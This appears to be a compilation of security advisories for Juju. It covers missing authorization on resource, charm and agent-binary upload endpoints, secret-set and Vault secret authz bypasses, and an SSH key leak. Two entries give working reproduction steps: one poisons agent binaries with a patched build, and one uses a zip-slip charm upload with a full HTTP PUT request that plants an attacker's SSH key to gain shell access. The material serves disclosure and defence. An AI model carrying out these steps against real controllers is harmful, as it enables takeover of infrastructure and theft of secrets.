Summary Any authenticated user, machine or controller under a Juju controller can modify the resources of an application within the entire controller.
This one is very straightforward to just read in the code:
Step 1: The authorisation mechanism for the resource handler is defined here. One is only required to have been authed as either a user, machine or controller to pass this check. One requires no permissions on the controller nor does one need any further permissions on the models themselves.
This handler is available under the following path format /:modeluuid/applications/:application/resources/:resources. See here. The handler defines no authorizer as supported by the handler struct here.
One needs to know the following three bits of information to poison the resource cache on the controller: - model uuid - application name in the model - resource name in the model
Given that a lot of deployments use the charm name for applications and the resources for charms are published on charm hub, this is a very low bar to meet, only requiring the model uuid.
Step 2: If one passes the very basic authz check of step 1, one is now allowed free rein for 'PUT' and 'GET' methods to the handler. This security report will only focus on 'PUT' as it is the most interesting. The 'PUT' handler will gladly take whatever is uploaded to it as long as it has the same file extension defined by the resource.
If the resource already exists in the controller's cache, it will be uploaded with whatever is supplied by the upload, see here and here.
That is it. One can successfully poison the resource cache for any model in the controller.
PoC A proof of concept has not been done for this because it is so obvious from the code read that it is not deemed necessary.
A realistic example of how this can be used: if there is a compromised workload in Juju that has machine credentials, then one can modify the OCI resources for any other model in the controller. For example, if the controller was running a k8s vault, one could change the docker image in use to a trojan horse version that allows obtaining root access to all the vault secrets.
Once this poison has been performed, the attacker can then leverage the vault secrets to go other places.
Impact Any charm deployment where a resource could be modified to inject security vulnerabilities into another workload. The most obvious is OCI containers as one gets execution escalation, but if a file resource had security controls in it, this could also be leveraged. For the file case, this would need to be examined on a case-by-case basis.
Summary
Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy. Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.
Details
When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.
Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.
PoC
Tested: - two applications in the same controller, same model: one owns the secret, another get a grant - relation between them - secret grant - Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI
Not tested: - admin (user) secrets - cross-model relations - cross-controller relations
command ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value" secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0 ingress2/0: workload-version: 24.2.0 opened-ports: [] charm: ch:amd64/nginx-ingress-integrator-203 leader: true life: alive relation-info: - relation-id: 11 endpoint: ingress related-endpoint: ingress application-data: {} related-units: evilator/0: in-scope: true data: egress-subnets: 10.152.183.39/32 ingress-address: 10.152.183.39 private-address: 10.152.183.39 - relation-id: 10 endpoint: nginx-peers related-endpoint: nginx-peers application-data: {} local-unit: in-scope: true data: egress-subnets: 10.152.183.135/32 ingress-address: 10.152.183.135 private-address: 10.152.183.135 provider-id: ingress2-0 address: 10.1.0.100 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11" ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" updating secrets: permission denied ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" nice: who-is-nice-now
When the grantee attempts to update the the granted secret:
- secret-set command logs an error, though returns OK return status - the secret value is updated - new secret revision is not created - new value is visible to both owner and grantee
Impact
- the application that owns the secret - a third application, if a secret is granted to multiple parties - any other application that has secrets in the same Kubernetes secret backend
An authorization bypass vulnerability in the Vault secrets back-end implementation of Juju versions 3.1.6 through 3.6.18 allows an authenticated unit agent to perform unauthorized updates to secret revisions. With sufficient information, an attacker can poison any existing secret revision within the scope of that Vault secret back-end.
Summary You can affect the agent binaries used in a Juju controller and the code that is run in the binaries by simply having a user account on a controller. You aren't required to have a model or any permissions. This just requires a user account in the controller database.
Details Because of the way Juju upload tools code works in the controller it only checks that the user uploading agent binaries is authenticated and is a user tag. No more checks are performed and it allows that user to upload binaries to any model they like (as long as they know the model uuid) or upload binaries to the controller (attacker doesn't need to know any uuid's for controller or controller model).
Once the poison binaries have been uploaded any new machine that is started in the affected model or controller will get started with the poison binaries. Alternatively administrator's of the controller running either juju upgrade-controller or juju upgrade-model will force distribution of the poisoned binaries to all machines in either the model or poison the controllers themselves.
On top of this the exploit can be done with the Juju client tooling itself and no real knowledge on constructing raw API requests is required.
The tools handler is the main piece of code that is used in the APIServer for handling upload requests and persisting the data uploaded: The following code references is how Juju uses and defines this: - The tools upload handler is defined here (https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L972) - The tools upload handler is created in the api server here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L766C2-L766C25). - The main authoriser that is used for the upload handler is created here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L770C2-L770C28) - The upload handler is registered for the model here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L902) - The upload handler is registered for the controller here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L972)
The authoriser that is used (https://github.com/juju/juju/blame/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/httpcontext.go#L209) only confirms that the logged in user is authenticated and authenticated as a user tag. No other checks are performed.
The toolsUploaderHandler also uses another server func for getting the Mongo state. This also confirms a logged in user but the state that is returned to the caller is scoped to whatever model the requester has asked for. No checks are performed to make sure that the user in question actually has access to this model or the controller. See code here (https://github.com/juju/juju/blob/4e50a28cdde17832aa31634915fbe7442dca6ab3/apiserver/httpcontext.go#L38). We end up here through a few layers of indirection of https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L768
We can also see that when handlers are registered with no model uuid scope in the handler like the controller registration of the tools upload handler, the model uuid gets defaulted to that of the controller model. See (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L690).
PoC This proof of concept was done with the latest tip of the juju/juju 3.6 branch (https://github.com/juju/juju/commit/cd12b4951d657a980e113564bf2ea82f167589fd). Pull this code and work from inside of the root of the code base. It is expected that this security issue applies to 2.9 onwards as well.
Repo steps:
1. Bootstrap a new controller to lxd. This was done with a compiled client from the branch but there is no reason performing this action from latest snap won't produce the same result. juju bootstrap localhost sec-demo
2. Add a new user to the controller. This is the user with no permissions or models that we will prove the problem with. juju add-user poisoner poisoner
3. From step 2 save the registration string that the juju client prints out.
4. We are going to remove the local juju admin credentials and information that was made during bootstrap. We will use this later on for confirming the attack. mv ~/.local/share/juju /tmp/juju-bak
5. Run the juju cli registration command for the new user that was saved from step 3. Set the new password to whatever you wish and then re-enter to login into the controller. After this step we are now logged in as an unprivileged user to the controller.
6. Apply the following patch to the currently checked out juju code base: cat <<EOF | git apply - diff --git a/cmd/jujud/main.go b/cmd/jujud/main.go index f268509a52..1b01a74b66 100644 --- a/cmd/jujud/main.go +++ b/cmd/jujud/main.go @@ -315,6 +315,16 @@ func Main(args []string) int { os.Exit(exiterr) }
+ logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("Got access to the binary") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + var code int commandName := filepath.Base(args[0]) switch commandName { diff --git a/version/version.go b/version/version.go index 2bbc8968c8..40af52f337 100644 --- a/version/version.go +++ b/version/version.go @@ -18,7 +18,7 @@ import ( // The presence and format of this constant is very important. // The debian/rules build recipe uses this value for the version // number of the release package. -const version = "3.6.6" +const version = "3.6.7"
// UserAgentVersion defines a user agent version used for communication for // outside resources. EOF
7. Set bogus model information. To make the sync-agent-binary command work below we need to set a bogus model that is in use by the client. This is done through the local models.yaml file. The uuid featured here does not matter at and can be set to anything that parses as a uuid in juju. This is just to trick the client tooling, the attacker could just manually construct the http request their self to bypass this. cat <<EOF > ~/.local/share/juju/models.yaml controllers: sec-demo: models: admin/controller: uuid: 4dde46dd-a514-491e-8a5f-b908b5310c02 type: iaas branch: "" current-model: admin/controller EOF
8. Next build the changes with make simplestreams. 9. The output of step 9 will provide an export command to run. Please execute this command to point the juju client at your local simple streams cache. 10. Next sync the compiled agent binaries from step 9 to the controller with juju sync-agent-binary --debug --agent-version 3.6.7.
At this stage the controllers agent binary cache has been poisoned and the security issue has been proven.
11. We can now swap back to the administrator user to start forcing binary circulation. mv ~/.local/share/juju /tmp/juju-poison and then mv /tmp/juju-bak ~/.local/share/juju
At this stage the issue can be demonstrated with just a simple juju upgrade-controller and a controller upgrade will kick off. You can also upgrade a model. When I was testing this my upgrade-controller failed to shut down the controller for reasons unrelated to this security issue. I was able to log into the controller and confirm with sha256sum that the controller had downloaded the new binaries and the checksums matched. They were also symlink as the new binaries to run for machine-0. This was under /var/lib/juju/tools on the controller machine.
It would also be possible to affect new machines coming up in a model by repeating the steps above but changing the version to that of the model that you want to be poisoned.
Impact This is a bad vulnerability in my opinion. It allows a user with no permissions to eventually consume an entire juju controller with poisoned binaries and gain access to all of the infrastructure and secrets on that controller. Through model migration it would also be possible to poison other controllers that the user doesn't have access to.
This also requires that an administrator upgrade or migrate aspects of the controller. But a bad actor could affect brand new machines coming up in the system straight away.
Impact
Any user with a Juju account on a controller can upload a charm to the /charms endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. A charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.
Details
A controller exposes three charm-related HTTP API endpoints, as follows: - PUT/GET https://<controller-ip>:17070/model-<model-uuid>/charms/<nameofcharm>-<hashofcharm> - POST/GET https://<controller-ip>:17070/model-<model-uuid>/charms - GET https://<controller-ip>:17070/charms
These endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.
To reproduce:
juju bootstrap juju add-user testuser juju change-user-password testuser
Download the ZIP file of an arbitrary charm eg https://github.com/juju/hello-juju-charm
Download and install the following tool: https://github.com/usdAG/slipit
Run the following command to generate a new SSH key pair: ssh-keygen
Copy the contents of the newly created public key into a file called authorizedkeys
Run the following command to inject the malicious path into the ZIP file: slipit hello.zip authorizedkeys --separator ../../../../../../home/ ubuntu/.ssh/
Send the PUT request below to a model on the target controller. Note the following: - the model UUID and controller IP address in the request must be updated - the Juju-Curl header needs to be sent with a value that starts with the “local:” string - the PUT body content should have the exact contents of the ZIP file - the Basic Authorization header should be tied to the user that was created above - the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. pathtw-<updated-sha>) - PUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c HTTP/1.1 Host: 10.4.154.217:17070 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko /20100101 Firefox/135.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Te: trailers Connection: keep-alive Content-Length: 40021 Content-Type: application/zip Juju-Curl: local:pathtw Authorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA== <ZIP BODY Content>
Observe that the response states that the charm has been uploaded.
Attempt to SSH to the controller by using the private key that was generated above.
Observe that it is possible to authenticate because the file has been overwritten.
Code
The /charms handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990
And the only auth required is that the incoming request be for an authenticated user
https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754
but no specific permission checks are done.
Workarounds There are no known workarounds.
References F-02
Juju Core's Joyent provider before version 1.25.5 uploads the user's private ssh key.